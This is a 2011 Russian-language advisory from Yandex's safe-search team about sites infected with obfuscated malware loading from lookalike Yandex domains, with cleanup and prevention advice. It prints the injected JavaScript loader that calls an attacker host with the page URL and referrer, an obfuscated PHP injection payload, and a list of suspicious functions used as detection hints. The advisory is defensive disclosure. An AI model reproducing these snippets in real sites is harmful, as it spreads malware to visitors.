В настоящее время злоумышленники используют Интернет в качестве одного из основных каналов распространения вредоносного кода. Чтобы найти, проанализировать и удалить этот код было сложнее, они применяют различные методы его обфускации.
Обфускация программного кода – это любые действия, усложняющие его анализ, в том числе:
- преднамеренное преобразование кода в нечитаемый, включая применение различных способов его кодирования, искусственное усложнение, добавление ненужных участков;
- разделение кода на отдельные части, загружаемые из различных источников при соблюдении определённых условий;
- использование в нём названий известных, вызывающих доверие компаний и продуктов;
- непреднамеренная «обфускация» за счёт неработоспособности, плохо продуманной архитектуры и общего низкого качества кода.
Вредоносный код на веб-сайтах часто состоит из нескольких частей, которые подгружаются из разных источников. Вспомогательная часть обычно располагается на страницах недавно взломанного «хорошего» сайта. Когда она загружается к пользователю в браузер, то подгружает в него основной вредоносный код с серверов злоумышленников.
Злоумышленники могут давать серверам, с которых загружается основная часть вредоносного кода, доменные имена похожие на доменные имена известных компаний. В последнее время резко участились случаи заражения веб-сайтов кодом, основная часть которого загружается с yandex-yandex.uni.cc и ad.yandex-verification.net. К Яндексу эти домены, разумеется, никакого отношения не имеют. Технические подробности приведены ниже. Будьте бдительны!
yandex-yandex.uni.cc
На 23.06.2011 в нашей базе насчитывается более полутора тысяч сайтов, страницы которых заражены таким кодом.
Скрипт на заражённой странице имеет вид:
<script>
var gaJsHost = (("http:" == document.location.protocol) ? "http://yandex" : "http://yandex"); document.write(unescape("%3Cscript src='" + gaJsHost + "-yandex.uni.cc/verify-v1?id="+Math.floor(Math.random() *30000)+"&group=2&seoref="+encodeURIComponent(document.referrer)+ "¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=' type='text/javascript'%3E%3C/script%3E"));
</script>
Код, передаваемый на клиент (в браузер) преднамеренно переусложнён и сделан трудночитаемым, что является обфускацией.После выполнения данного скрипта на веб-страницу добавляется ещё один тег script, в атрибуте src которого присутствует url вида:
http://yandex-yandex.uni.cc/verify-v1?id=<random_number>&group=2&seoref=<referer>¶meter=$keyword&se=$se&ur=1&HTTP_REFERER=<url>&default_keyword=
где:
<random_number> - случайно сгенерированное число от 0 до 30000;
<referer> - url, с которого пришли на зараженный сайт;
<url> - url зараженного сайта.
Кроме обфускации вредоносного кода, передаваемого на сторону клиента, для данного типа вредоносного ПО характерна также обфускация вредоносного кода, который добавляется в PHP-скрипты при взломе сервера, например:
<?php $somecrainsignvar="df8aslpq"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMTI4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVPbmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";
ad.yandex-verification.net
На 23.06.2011 в нашей базе насчитывается более двух тысяч сайтов, страницы которых заражены таким кодом.
Скрипты на заражённой странице имеют вид:
<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v1"></script>
или<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v2"></script>
Существенных особенностей по сравнению с yandex-yandex.uni.cc работа этого вредоносного кода не имеет.
Как удалить вредоносный код на стороне сервера
Чаще всего вредоносный код появляется на сайте в результате взлома или использования украденного пароля доступа.
Злоумышленники получают пароли и ценную информацию при помощи троянских программ и вирусов, которые могут оставаться на личном компьютере вебмастера или администратора сайта длительное время. Поэтому перед тем, как удалять вредоносный код, советуем:
- проверить рабочие станции и сервера антивирусом (можно использовать также бесплатные антивирусные утилиты, такие как DrWeb CureIT или Kaspersky Virus Removal Tool) ;
- сменить пароли от FTP, административной панели CMS, СУБД, SSH (если используете данный протокол для доступа к веб-серверу), а также от панели управления веб-хостингом (DirectAdmin, cPanel, ISP Manager и т.п.).
В противном случае злоумышленники смогут снова внедрить вредоносный код в страницы вашего сайта.
Кроме того, имеет смысл проверить сайт на другие виды заражения, в качестве которого может выступать любой незнакомый вам обфусцированный (специально сделанный нечитаемым, например, закодированный) код, особенно содержащий функции:
eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13
Чтобы в будущем не допустить заражения вашего сайта вредоносным кодом:
- не сохраняйте пароли в веб-браузерах, файловых менеджерах, а также FTP-, SFTP-, SCP- и SSH-клиентах;
- используйте стойкие пароли, регулярно меняйте их, чтобы злоумышленники не смогли подобрать пароль по словарям или перебором (рекомендуем использовать пароль из не менее чем 10 букв, цифр и специальных символов);
- используйте на рабочих станциях и серверах антивирус, следите за тем, чтобы его ядро и базы регулярно обновлялись;
- настройте файрволлы и сетевую инфраструктуру так, чтобы были разрешены только необходимые для работы соединения;
- регулярно устанавливайте обновления для вашей CMS, а если используете CMS собственной разработки – применяйте WAF (Web Application Firewall) и правила безопасного программирования;
- зарегистрируйте сайт в Яндекс.Вебмастере, чтобы иметь возможность самостоятельно запускать его перепроверку, а также посмотреть информацию о найденном коде в случае заражения.
Команда безопасного поиска Яндекса